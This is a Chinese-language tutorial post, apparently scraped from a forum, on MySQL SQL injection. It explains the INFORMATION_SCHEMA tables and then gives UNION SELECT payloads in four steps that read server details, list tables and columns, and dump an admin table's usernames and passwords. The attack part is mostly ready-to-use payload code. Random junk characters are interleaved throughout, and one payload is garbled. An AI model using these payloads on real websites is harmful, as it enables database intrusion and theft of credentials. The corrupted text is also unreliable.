本文介绍MYSQL盲注的一些语句和方法
# e' ~) y q) B9 _) P/ U
1 W ~) t& w q学习盲注前先了解下 IFORMATION_SCHEMA 库, x& S! R" L, B5 d( o! A6 S
3 S' T4 N: r; a4 g) M; O/ UMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
0 N! D8 D7 L/ R3 F存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
* N$ Z/ g' v' W( V* T% \. z1.得到所有数据库名:, Y2 ~, t1 |/ y3 z
|SCHEMATA ->存储数据库名的表/ w" ^3 c/ ~2 ^- ]2 ]1 J
|---字段:SCHEMA_NAME ->数据库名称9 i- q4 F @, Z% O7 ~6 ]; T4 k) ^/ ~
! {$ {+ G5 l' x' U. o- p' }; { d$ D|TABLES ->存储表名4 q( J* o' L8 ?4 A p( z$ \5 [
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名0 o: X0 Q+ O+ E( {6 x' |
|---字段:TABLE_NAME ->存储表的表名2 S+ }( ~' j3 b& ~
) d0 Y: |- V" x7 G7 t|COLUMNS ->存储的字段名表0 D5 V. B8 p2 d9 k1 v/ v( `/ ?2 c# V
|---字段:TABLE_SCHEMA ->该字段所属数据库名8 U- G8 e$ {# D& H
|---字段:TABLE_NAME ->存储所属表的名称
% Q L1 |6 q2 c: N5 X
) ?) Z- ~2 U# V" z5 [% T|---字段:COLUMN_NAME ->该字段的名称8 s0 v0 E5 C/ Q/ s* H" h; q, N) J# W
O, ~ n6 |# i* f( x/ R7 i0 d 8 Z- P7 @7 W/ C6 k" }" Z/ q
8 L( c6 Z# l9 @. o###########################################################################0 ~6 d" o/ r- I: b3 J0 C$ O% Q
4 G5 v4 v$ h8 F: E0 W
0x001 获取系统信息:2 Q1 ^3 w& y/ {$ e$ m+ u: U1 c
1 D, E% |5 ]; x
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
' h( J$ R9 C& v
; p) M+ B! o4 ?. m) |8 u/*! F2 B- v$ X2 k6 N. p3 @
6 C- B5 Q- {) K5 Z@@global.version_compile_os 获取系统版本% n/ `6 a/ r; h
2 Q2 B# n v; @( L/ [) F: s* _3 H( j0 s@@datadir 数据库路径( T8 W2 l8 j" E# n0 k
database() 当前数据库名称; [4 B- ^5 s. S
0x3c62723e 换行HEX值& x2 {: Y9 V. G+ f- y+ j4 F4 n* p
' p9 O) w" A1 Q*/; k) [* K" {& S4 i' m3 l
) z! v3 l, h- ^
% H/ z; B3 D) l# P& t- x6 C I
) `9 X( p$ k& {! j######################################################################
3 S9 E; F+ u( J
/ R( h6 r6 z0 o! ^& R- V! `0 Z0x002 获取表名 j/ {0 t/ A/ u) X" U1 X) O
6 {/ h3 z3 U8 xunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
" h& D/ x, \4 o: l; L6 }8 X/ r% I" B2 e9 Z
( r/ N/ l/ K* u% @
7 s! u0 S6 u3 D4 \( _/*
$ o9 N: T& a4 Q% m! j! Y3 U# q1 t% q: A7 z! O
0x67617264656e 为当前数据库名
1 c( ^& h9 Z9 r. O* c7 B- v% j
2 r/ b8 d4 ~- j: V8 fgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
' ^2 {7 [7 u) U) r' P5 c V3 H7 l P3 S" @( s( L* L
*/
5 P, C. s$ N, ]( \, G, [! T" z' {9 h0 N+ Y
######################################################################% y! E( b+ j0 b$ L1 t
7 |% }" R( {$ ]* H
' K( C2 }% T3 W# M" U3 L
& ?) T% N1 ^/ X1 R0x003 获取字段
5 E$ Z$ P6 T3 o% u; l' x3 L& A' f3 R' k+ t$ f' S
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
8 L# r+ l6 T* `$ H3 R, U8 y' [; D" q g+ E% v0 S) ?/ B: p7 L
/*
0 s/ I9 g0 T1 b1 {5 E4 n, z2 n/ E3 S
2 i$ H6 G' o$ P+ Bgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段5 v2 C% a. P3 Q( m5 w. W/ P
; w& s0 j1 [8 u
0x61646d696e ->选择一个表- y1 z7 ~' u, O
+ G! j# g$ \* ?$ y) g* R6 \& j$ c0x67617264656e ->数据库名) r8 w' \- v5 ^" m+ W0 q
; v" \ F; y1 T8 O% h
*/
) M- _5 n N3 s0 Z8 O9 ]
- V/ \+ l; L8 [8 K##################################################################### m8 Y) J' K0 X, y( Y
/ g4 ]# G/ R- n$ M" ~3 ?, p1 c3 X" h
' C( n4 o8 J# A. y+ g9 K, q k' [/ o+ j6 S3 z: f, y. [3 K
0x004 获取数据. [$ X( j' p2 j: o! |8 Q1 o( k
$ ]# C: {% | U h1 U
union select 1,2,3
0 r# p$ l! W5 c3 ?# J,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 F& J5 S) u. v6 H8 y/ p8 {
5 Y2 g' [6 p$ A' punion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
' ]8 ]7 z! [4 c/ r4 i: G: Y4 m/ ?* }7 [9 ]
2 ?. `0 g2 m. N, _6 Z5 _+ V. x2 K- j- [! n! e7 u+ o6 a
/*
1 b6 l' \- ~2 G1 J5 h4 t
8 u& Q) C6 W$ w5 n0x3c62723e 换行符号HEX编码
a9 _& u" @; _: I# e& E) H4 [5 p: q
group_concat 同时获得该字段所有数据6 t; B( d7 m. Y
0 O4 C# N* S2 X
*/
0 n4 }! P ~# K# J* w
5 H0 U6 e3 `& Z. D2 ? |